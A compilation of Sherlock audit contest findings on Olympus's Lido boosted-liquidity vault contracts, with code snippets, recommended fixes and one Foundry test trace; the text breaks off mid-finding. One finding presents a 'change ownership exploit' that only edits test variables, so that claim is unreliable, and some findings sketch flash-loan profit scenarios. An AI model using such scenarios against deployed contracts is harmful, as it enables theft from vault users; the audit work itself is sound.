+++ b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
@@ -212,8 +212,7 @@ contract BLVaultManagerLido is Policy, IBLVaultManagerLido, RolesConsumer {
             balancerData.liquidityPool, // Balancer Pool
             auraData.pid, // Aura PID
             auraData.auraBooster, // Aura Booster
-            auraData.auraRewardPool, // Aura Reward Pool
-            currentFee
+            auraData.auraRewardPool // Aura Reward Pool
         );
         BLVaultLido clone = BLVaultLido(address(implementation).clone(data));

peanuts - Sequencer is not checked in BLVaultManagerLido#_validatePrice

peanuts

medium

Sequencer is not checked in BLVaultManagerLido#_validatePrice

Summary

The sequencer is not checked in BLVaultManagerLido#_validatePrice.

Vulnerability Detail

In the chainlink documentation, the sequencer is checked like this:

// Check the sequencer status and return the latest price
    function getLatestPrice() public view returns (int) {
        // prettier-ignore
        (
            /*uint80 roundID*/,
            int256 answer,
            uint256 startedAt,
            /*uint256 updatedAt*/,
            /*uint80 answeredInRound*/
        ) = sequencerUptimeFeed.latestRoundData();

        // Answer == 0: Sequencer is up
        // Answer == 1: Sequencer is down
        bool isSequencerUp = answer == 0;
        if (!isSequencerUp) {
            revert SequencerDown();
        }

https://docs.chain.link/data-feeds/l2-sequencer-feeds#example-code

This sequencer is not checked in BLVaultManagerLido#_validatePrice()

    function _validatePrice(
        AggregatorV3Interface priceFeed_,
        uint48 updateThreshold_
    ) internal view returns (uint256) {
        // Get price data
        (uint80 roundId, int256 priceInt, , uint256 updatedAt, uint80 answeredInRound) = priceFeed_
            .latestRoundData();


        // Validate chainlink price feed data
        // 1. Price should be greater than 0
        // 2. Updated at timestamp should be within the update threshold
        // 3. Answered in round ID should be the same as round ID
        if (
            priceInt <= 0 ||
            updatedAt < block.timestamp - updateThreshold_ ||
            answeredInRound != roundId
        ) revert BLManagerLido_BadPriceFeed();


        return uint256(priceInt);
    }
}

Impact

No check sequencer is down in Chainlink feeds.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L520-L540

Tool used

Manual Review

Recommendation

Recommend adding a sequencer check.

        (
            /*uint80 roundID*/,
            int256 answer,
            uint256 startedAt,
            /*uint256 updatedAt*/,
            /*uint80 answeredInRound*/
        ) = sequencerUptimeFeed.latestRoundData();

        // Answer == 0: Sequencer is up
        // Answer == 1: Sequencer is down
        bool isSequencerUp = answer == 0;
        if (!isSequencerUp) {
            revert SequencerDown();
        }

fat32 - Unauthorised Change Of Ownership after deposit function in BLVaultLido.sol

fat32

medium

Unauthorised Change Of Ownership after deposit function in BLVaultLido.sol

Summary

Unauthorised Change Of Ownership after deposit function in BLVaultLido.sol

The test case that can only be called by the vault's owner has failed after applying change ownership exploit.  The test that the call should revert if the user is not the owner has failed because I added a change owner exploit.  Please see the POC below which I used Foundry for.  The impact is that I am able to gain ownership and Deposit(ohmAmount: 100000000000, wstethAmount: 1000000000000000000).

Vulnerability Detail

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L143-L200

Impact

Unauthorised Change Of Ownership after deposit function in BLVaultLido.sol
The test case that can only be called by the vault's owner has failed after applying change ownership exploit.  The test that the call should revert if the user is not the owner has failed because I added a change owner exploit.  Please see the POC below which I used Foundry for.  The impact is that I am able to gain ownership and Deposit(ohmAmount: 100000000000, wstethAmount: 1000000000000000000).

Code Snippet

POC File
src/2023-03-olympus-0xtr3/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
// POC
// 1. update test file named BLVaultLidoMocks.t.sol for the function below by replacing function named
   // testCorrectness_depositCanOnlyBeCalledByTheVaultOwner with the one below.
function testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address attacker_) public {
        if (attacker_ == alice) {
            vm.prank(alice);
            aliceVault.deposit(1e18, 0);
        } else {
            bytes memory err = abi.encodeWithSignature("BLVaultLido_OnlyOwner()");
            vm.expectRevert();

            // Try to deposit
            bob = alice; // fat32 change owner
            attacker_ = bob; // fat32 change owner
            vm.prank(attacker_);
            aliceVault.deposit(1e18, 0);
        }
    }
# 2. run command below
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
# Log
# 3. log file results of changed ownership
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
[⠆] Compiling...
No files changed, compilation skipped

Running 13 tests for src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[PASS] testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 19649, ~: 19649)
[PASS] testCorrectness_claimRewardsCanOnlyBeCalledWhenManagerIsActive() (gas: 47075)
[PASS] testCorrectness_claimRewardsCorrectlyClaims() (gas: 439002)
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0x25bfc5270000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)
Traces:
  [481707] BLVaultLidoTest::testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(0x0000000000000000000000000000000000000000) 
    ├─ [0] VM::expectRevert() 
    │   └─ ← ()
    ├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6) 
    │   └─ ← ()
    ├─ [372634] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::deposit(1000000000000000000, 0) 
    │   ├─ [370440] BLVaultLido::deposit(1000000000000000000, 0) [delegatecall]
    │   │   ├─ [2459] BLVaultManagerLido::isLidoBLVaultActive() [staticcall]
    │   │   │   └─ ← true
    │   │   ├─ [30352] BLVaultManagerLido::getOhmTknPrice() [staticcall]
    │   │   │   ├─ [194] MockWsteth::stEthPerToken() [staticcall]
    │   │   │   │   └─ ← 1000000000000000000
    │   │   │   ├─ [6797] MockPriceFeed::latestRoundData() [staticcall]
    │   │   │   │   └─ ← 0, 10000000000000000, 0, 1608336000, 0
    │   │   │   ├─ [6797] MockPriceFeed::latestRoundData() [staticcall]
    │   │   │   │   └─ ← 0, 1000000000000000000, 0, 1608336000, 0
    │   │   │   └─ ← 100000000000
    │   │   ├─ [2564] MockBalancerPool::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [32095] MockWsteth::transferFrom(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000) 
    │   │   │   ├─ emit Transfer(from: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 1000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [111021] BLVaultManagerLido::mintOhmToVault(100000000000) 
    │   │   │   ├─ [32472] OlympusMinter::increaseMintApproval(BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 100000000000) 
    │   │   │   │   ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0x359fe780) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ emit IncreaseMintApproval(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], newAmount_: 100000000000)
    │   │   │   │   └─ ← ()
    │   │   │   ├─ [50857] OlympusMinter::mintOhm(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000) 
    │   │   │   │   ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0x3a56e307) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ [52131] OlympusERC20Token::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000) 
    │   │   │   │   │   ├─ [0] MockLegacyAuthority::vault() [staticcall]
    │   │   │   │   │   │   └─ ← OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7]
    │   │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 100000000000)
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ emit Mint(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], to_: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount_: 100000000000)
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ [24972] OlympusERC20Token::increaseAllowance(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 100000000000) 
    │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 100000000000)
    │   │   │   └─ ← true
    │   │   ├─ [24567] MockWsteth::approve(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 1000000000000000000) 
    │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 1000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [281] MockBalancerPool::getPoolId() [staticcall]
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
    │   │   ├─ [83256] MockVault::joinPool(0x0000000000000000000000000000000000000000000000000000000000000000, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, ([0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], [100000000000, 1000000000000000000], 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000174876e8000000000000000000000000000000000000000000000000000de0b6b3a7640000, false)) 
    │   │   │   ├─ [22584] OlympusERC20Token::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 100000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 100000000000)
    │   │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 0)
    │   │   │   │   └─ ← true
    │   │   │   ├─ [20499] MockWsteth::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 1000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 1000000000000000000)
    │   │   │   │   └─ ← true
    │   │   │   ├─ [44625] MockBalancerPool::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 1000000000000000000)
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ [564] MockBalancerPool::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 1000000000000000000
    │   │   ├─ [22916] BLVaultManagerLido::increaseTotalLp(1000000000000000000) 
    │   │   │   └─ ← ()
    │   │   ├─ [24545] MockBalancerPool::approve(MockAuraBooster: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 1000000000000000000) 
    │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockAuraBooster: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 1000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [26325] MockAuraBooster::deposit(0, 1000000000000000000, true) 
    │   │   │   ├─ [20481] MockBalancerPool::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], 1000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], amount: 1000000000000000000)
    │   │   │   │   └─ ← true
    │   │   │   └─ ← true
    │   │   ├─ [557] OlympusERC20Token::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [553] MockWsteth::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ emit Deposit(ohmAmount: 100000000000, wstethAmount: 1000000000000000000)
    │   │   └─ ← 1000000000000000000
    │   └─ ← 1000000000000000000
    └─ ← "Call did not revert as expected"

[PASS] testCorrectness_depositCanOnlyBeCalledWhenManagerIsActive() (gas: 47127)
[PASS] testCorrectness_depositCorrectlyDeploysLiquidity() (gas: 396052)
[PASS] testCorrectness_depositCorrectlyIncreasesState(uint256) (runs: 256, μ: 406200, ~: 406202)
[PASS] testCorrectness_getLpBalance(uint256) (runs: 256, μ: 411701, ~: 411702)
[PASS] testCorrectness_getUserPairShare(uint256) (runs: 256, μ: 446025, ~: 446027)
[PASS] testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 384975, ~: 384958)
[PASS] testCorrectness_withdrawCanOnlyBeCalledWhenManagerIsActive() (gas: 52804)
[PASS] testCorrectness_withdrawCorrectlyDecreasesState(uint256) (runs: 256, μ: 599215, ~: 601828)
[PASS] testCorrectness_withdrawCorrectlyWithdrawsLiquidity() (gas: 610408)
Test result: FAILED. 12 passed; 1 failed; finished in 185.77ms

Failing tests:
Encountered 1 failing test in src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0x25bfc5270000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)

Encountered a total of 1 failing tests, 12 tests succeeded

Tool used

Foundry + Visual Studio Code

Manual Review

Recommendation

To validate owner, use require statement and not if statement.

Bahurum - If wstETH or OHM are added to Aura extra rewards, then they will be lost when withdrawing with claim

Bahurum

medium

If wstETH or OHM are added to Aura extra rewards, then they will be lost when withdrawing with claim

Summary

If aura adds wstETH or OHM as extrarewards, then this extra rewards will be lost when withdrawing with claim

Vulnerability Detail

In BLVaultLido.withdraw(), if the rewards are wstETH they will be sent to the treasury by the check on wstETH value returned, and if they are OHM they will be burned in manager.burnOhmFromVault(ohmAmountOut).

Example, let's say wstETH is in extraRewards.

  1. OHM price is 200 OHM per wstETH
  2. User deposits 10 wstETH
  3. After sometime he has accumulated 1 wstETH of rewards
  4. User withdraws all with claim_ = true
    1. ohmBefore = 0, wstethBefore = 0
    2. ohmAmountOut = 2000, wstethAmountOut = 10 + 1 rewards = 11
    3. wstethOhmPrice = 0.005, expectedWstethAmountOut = 2000*0.005 = 10
    4. 1 wstETH from rewards is sent to treasury

If OHM is in the rewards, all rewards in OHM will be burned along with the OHM obtained after removing lp from the balancer pool.

Impact

Extra rewards in wstETH or OHM will be lost when withdrawing and claiming at the same time.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L235-L244

Tool used

Manual Review

Recommendation

send rewards just after claiming, instead than at the end of withdraw()

        // Unstake from Aura
        auraRewardPool().withdrawAndUnwrap(lpAmount_, claim_);
+       // Return rewards to owner
+       if (claim_) _sendRewards();

chaduke - deposit() fails to decrease allowance for MINTR(), and only increase allowance when unusedOhm > 0.

chaduke

medium

deposit() fails to decrease allowance for MINTR(), and only increase allowance when unusedOhm > 0.

Summary

deposit() fails to decrease allowance for MINTR(), and only increase allowance when unusedOhm > 0. As a result, the amount of Ohm minted might go beyond limit.

Vulnerability Detail

deposit() allows a user to transfer wstETH to the vault and Ohm to the vault.

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L143-L200

However, at the following line: L168

            manager.mintOhmToVault(ohmMintAmount);

the function fails to decrease the allowance for MINTER() first before minting.

This is in contrast to the case for withdraw(), which will increase allowance for MINTER() first, and then burn ohm from vault.

// Burn OHM
        ohm.increaseAllowance(MINTR(), ohmAmountOut);
        manager.burnOhmFromVault(ohmAmountOut);

On the other hand, the deposit() function even increases the allowance of MINTER() when unusedOhm > 0.

 if (unusedOhm > 0) {
            ohm.increaseAllowance(MINTR(), unusedOhm);
            manager.burnOhmFromVault(unusedOhm);
        }

Impact

In summary, the deposit() function will never decrease, and in some cases, only increase the allowance for MINTER() after minting ohm. As a result, the allowance for MINTER() is not correctly modified. The minting limit will not properly set for MINTER().

Code Snippet

See above

Tool used

VSCode

Manual Review

Recommendation

We need to decrease the allowance for MINTER when we mint ohm:

function deposit(
        uint256 amount_,
        uint256 minLpAmount_
    ) external override onlyWhileActive onlyOwner nonReentrant returns (uint256 lpAmountOut) {
        // Cache variables into memory
        IBLVaultManagerLido manager = manager();
        OlympusERC20Token ohm = ohm();
        ERC20 wsteth = wsteth();
        IBasePool liquidityPool = liquidityPool();
        IAuraBooster auraBooster = auraBooster();

        // Calculate OHM amount to mint
        // getOhmTknPrice returns the amount of OHM per 1 wstETH
        uint256 ohmWstethPrice = manager.getOhmTknPrice();
        uint256 ohmMintAmount = (amount_ * ohmWstethPrice) / _WSTETH_DECIMALS;

        // Block scope to avoid stack too deep
        {
            // Cache OHM-wstETH BPT before
            uint256 bptBefore = liquidityPool.balanceOf(address(this));

            // Transfer in wstETH
            wsteth.safeTransferFrom(msg.sender, address(this), amount_);

            // Mint OHM
+         ohm.decreaseAllowance(MINTR(), ohmMintAmount);
            manager.mintOhmToVault(ohmMintAmount);

            // Join Balancer pool
            _joinBalancerPool(ohmMintAmount, amount_, minLpAmount_);

            // OHM-PAIR BPT after
            lpAmountOut = liquidityPool.balanceOf(address(this)) - bptBefore;
            manager.increaseTotalLp(lpAmountOut);

            // Stake into Aura
            liquidityPool.approve(address(auraBooster), lpAmountOut);
            bool depositSuccess = auraBooster.deposit(pid(), lpAmountOut, true);
            if (!depositSuccess) revert BLVaultLido_AuraDepositFailed();
        }

        // Return unused tokens
        uint256 unusedOhm = ohm.balanceOf(address(this));
        uint256 unusedWsteth = wsteth.balanceOf(address(this));

        if (unusedOhm > 0) {
            ohm.increaseAllowance(MINTR(), unusedOhm);
            manager.burnOhmFromVault(unusedOhm);
        }

        if (unusedWsteth > 0) {
            wsteth.safeTransfer(msg.sender, unusedWsteth);
        }

        // Emit event
        emit Deposit(ohmMintAmount - unusedOhm, amount_ - unusedWsteth);

        return lpAmountOut;
    }

0x4non - Lack of emergency exit mechanism in `BLVaultLido`

0x4non

medium

Lack of emergency exit mechanism in BLVaultLido

Summary

Lack of an emergency exit could lead to users assets trapped in the vault. In the event of the vault becoming inactive, by decision of admin or because there is a critical issue, users would be unable to withdraw their assets, posing a significant risk to the safety and security of their investments.

Vulnerability Detail

BLVaultLido is currently designed without an emergency exit mechanism, which is essential for the safe and secure withdrawal of assets in the case of unexpected system failures, maintenance, or other issues that render the vault inactive. This oversight can lead to user assets being locked within the vault indefinitely, causing significant distress and financial loss to the users.

Impact

The lack of an emergency exit in the vault system can have severe consequences, including:

  1. Loss of user trust in the platform, leading to reduced adoption and potential loss of clients.
  2. Financial loss for users who are unable to access their assets.
  3. Legal implications for the platform due to potential claims and lawsuits from affected users.
  4. Reputational damage to the platform, impacting its competitive position in the market.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L203-L207
withdraw function works only onlyWhileActive so if vault is inactive will be impossible to users to withdraw.

Tool used

Manual Review

Recommendation

Create a emergencyWithdraw function so a user can withdraw their assets (without rewards) even if the vault is paused.

Bahurum - Users deposit could get stuck due to check in `decreaseTotalLp` function

Bahurum

medium

Users deposit could get stuck due to check in decreaseTotalLp function

Summary

In the decreaseTotalLp function in BLVaultManagerLido.sol the check will revert for the last users withdrawing if other users withdrew aura lp tokens sent directly to their vault.

Vulnerability Detail

decreaseTotalLp() will revert if the amount to be withdrawn is larger than the totalLp in the all the vaults. Normally this will not revert and as the last user withdraws all its funds from its vault, then totalLp will be set back to 0.

The problem incurrs when an user sends by error some aura deposit vault tokens to its vault (mistakes of this kind are seen from time to time due to users misunderstandings of how things work). The user will now be able to withdraw more than originally deposited.

Example:

  • Alice creates a vault
  • Alice sends 10 aura deposit tokens to her vault because she does not understand how to interact with the vault
  • Alice does some research and understands how to interact with the vault
  • Alice deposits 10 wstETH, totalLp is increased to 10.
  • Bob creates a vault
  • Bob deposits 10 wstETH, totalLp is increased to 20.
  • Alice withdraws the max amount of lp from her vault, which is 20 because of the initial mistake. totalLP is decreased to 0.
  • Bob wants to withdraw but his transaction reverts due to the check in decreaseTotalLp. Bob's deposit is stuck forever

Impact

Deposits of last users withdrawing could get stuck.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L277-L280

Tool used

Manual Review

Recommendation

function decreaseTotalLp(uint256 amount_) external override onlyWhileActive onlyVault {
-   if (amount_ > totalLp) revert BLManagerLido_InvalidLpAmount();
+   if (amount_ > totalLp) amount_ = totalLp;
    totalLp -= amount_;
}

Duplicate of #4

cccz - claimRewards calls getReward with the wrong parameters, which may prevent users from claiming rewards

cccz

medium

claimRewards calls getReward with the wrong parameters, which may prevent users from claiming rewards

Summary

claimRewards calls getReward with owner() instead of address(this), which prevents claimRewards from claiming rewards

Vulnerability Detail

BLVaultLido.claimRewards calls auraRewardPool.getReward to claim the rewards in aura, but the argument here uses owner() instead of address(this), and since the rewards in aura belong to address(this) instead of owner(), which will prevent claimRewards from claiming the rewards in aura.

    function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
        // Claim rewards from Aura
        auraRewardPool().getReward(owner(), true);

        // Send rewards to owner
        _sendRewards();
    }

Impact

It will prevent claimRewards from claiming the rewards in aura.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L263-L269

Tool used

Manual Review

Recommendation

Change to

    function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
        // Claim rewards from Aura
-       auraRewardPool().getReward(owner(), true);
+       auraRewardPool().getReward(address(this), true);

        // Send rewards to owner
        _sendRewards();
    }

Duplicate of #21

carrot - Too much ohm is burnt during `deposit` step

carrot

medium

Too much ohm is burnt during deposit step

Summary

Manager burns too much ohm from vault during deposit call, burning any ohm in the vault, instead of burnign only the minted amount.

Vulnerability Detail

In function deposit, the last step is to burn any excess ohm in the contract and repay the user's wstEth. However, the contract decides to burn ALL ohm tokens remaining, instead of using the difference between ohm balances before and after the mint. this can lead to a number of small accounting errors.

Relevant code:

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L184-L190

In the withdraw function, the contract does not burn all the ohm, and instead keeps track of the change in balance and only burns the necessary ohm.

This can lead to an accounting error which can be exploited to bypass the ohmLimit cap.
The developer shows intent to cap the maximum of ohm that can be minted freely to a value of ohmLimit. If a user deposits a large amount of ohm to his own boostedVault, and then calls deposit with a tiny amount, all that ohm will be burned. All ohm burned are kept track of in the manager contract in the variables circulatingOhmBurned and deployedOhm as shown in the snippet below.

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L256-L262

Burning excess ohm would store that debt by increasing the circulatingOhmBurned variable, which means that same amount can then be minted again into the vault. This might not be profitable, but definitely bypasses the cap set by the developer, and is thus classified medium.

Impact

Accounting errors tracking amount of ohm circulating in BoostedVaults.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L184-L190

Tool used

Manual Review

Recommendation

In function deposit, use similar logic as in withdraw to only burn the difference in ohm balance before and after the mint.

RaymondFam - Decreased getTknOhmPrice() not catered for

RaymondFam

high

Decreased getTknOhmPrice() not catered for

Summary

The contract checks on the withdrawn ratios of OHM and wstETH against the current oracle price and takes any wstETH shifted imbalance as a fee to the treasury but fails to cater for getTknOhmPrice() decrease in pricing.

When getTknOhmPrice() decreases, users exiting pool can be ripped off while those aware of the opportunity can make sizable flash swap gains.

Vulnerability Detail

Here is a typical scenario, assuming the pool has been initiated with total LP equal to sqrt(100_000 * 1_000) = 10_000. (Note: OHM: $15, wstETH: $1500 with the pool pricing match up with manager.getOhmTknPrice() or manager.getTknOhmPrice(), i.e. 100 OHM to 1 wstETH or 0.01 wstETH to 1 OHM. The pool token balances in each step below may be calculated via the Constant Product Simulation after each swap and stake.)

OHM token balance: 100_000
wstETH token balance: 1_000
Total LP: 10_000
  1. Bob calls deposit() by providing 10 wstETH where 1000 OHM is minted. Bob successfully stakes all of the 1000 OHM and 10 wstETH and proportionately receives 100 LP.

    OHM token balance: 101_000
    wstETH token balance: 1_010
    Total LP: 10_100
    Bob's LP: 100

  2. Alice also calls deposit() by providing 10 wstETH with 1000 OHM. She successfully stakes all of the 1000 OHM and 10 wstETH and proportionately receives 100 LP too.

    OHM token balance: 102_000
    wstETH token balance: 1_020
    Total LP: 10_200
    Bob's LP: 100
    Alice's LP: 100

  3. The pool has been well balanced at all time when suddenly there is a significant price surge in wstETH in the market (OHM: $15, wstETH: $2000). manager.getTknOhmPrice() is now 0.0075 (instead of the previous 0.01) wstETH per 1 OHM.

  4. Bob exits the pool by removing all of his LP where the 1000 OHM received is burned. However, the 10 wstETH (wstethAmountOut) is greater than expectedWstethAmountOut (1000 * 0.0075 = 7.5). So, only 7.5 wstETH is transferred to Bob.

    OHM token balance: 101_000
    wstETH token balance: 1_010
    Total LP: 10_100
    Bob's LP: 0
    Alice's LP: 100

  5. Alice, an avid staker, uses a flash loan to swap, e.g. 10000 OHM for 90.99 wstETH to make a profit of 90.99 * 2000 - 10000 * 15 = $31980.

    OHM token balance: 111_000
    wstETH token balance: 919.01
    Total LP: 10_100
    Bob's LP: 0
    Alice's LP: 100

Impact

Bob, a naive staker is ripped off with 2.5 wstETH despite making a little rewards.

Alice, in contrast to Bob's action, could not be cared less about exiting her position but keep repeating step 5 till it is no longer profitable where at that point the position can be exited safely without any fee abstracted by the Treasury. Alice managed to game the system albeit in the opposite manner while doing the pool a favor by bringing its pricing to match up with the market.

Code Snippet

File: BLVaultLido.sol#L143-L200

File: BLVaultLido.sol#L203-L256

Tool used

Manual Review

Recommendation

Consider restructuring the withdrawn ratios check if this is not intended to happen. For instance, an added check may be implemented checking whether or not getTknOhmPrice() has dropped more than a threshold. If it has, the existing check should disable the withdrawn ratio slash.

Duplicate of #29

Bahurum - Incorrect OHM price calculation

Bahurum

high

Incorrect OHM price calculation

Summary

In getOhmTknPrice and getTknOhmPrice functions in BLVaultManagerLido.sol the stethPerWsteth is used as it is the value of wstETH in stETH while it is actually the value of stETH in wstETH.

Vulnerability Detail

IWsteth(pairToken).stEthPerToken() reuturns the amount of wstEth corresponding to 1 stETH. For example right now it is 0.896. Let's say ethPerOhm=0.00647 and stethPerEth=0.99

In getOhmTknPrice the formula returns

0.896*0.99/0.00647 = 137.1

meaning 137.1 OHM per wstETH. If we compute the OHM/wstETM ratio from the market price: OHM = 10.30 USD, wstETH = 1962.5 USD --> 190.5.

In a similar way, the value returned by getTknOhmPrice is larger than expected.

Impact

Oracle prices are incorrect: this will cause the amount of OHM deposited into the balancer pool to be unbalanced (asymmetric liquidity deposit) so depositors will get back only a fraction of the wstETH deposited when withdrawing.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L454

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L472

Tool used

Manual Review

Recommendation

In getOhmTknPrice():

return (stethPerEth * 1e27) / (ethPerOhm * stethPerWsteth);

In getTknOhmPrice():

return (ethPerOhm * stethPerWsteth) / stethPerEth;

RaymondFam - Normal users could be inadvertently grieved by the withdrawn ratios check

RaymondFam

high

Normal users could be inadvertently grieved by the withdrawn ratios check

Summary

The contract check on the withdrawn ratios of OHM and wstETH against the current oracle price could run into grieving naive users by taking any wstETH shifted imbalance as a fee to the treasury even though these users have not gamed the system.

Vulnerability Detail

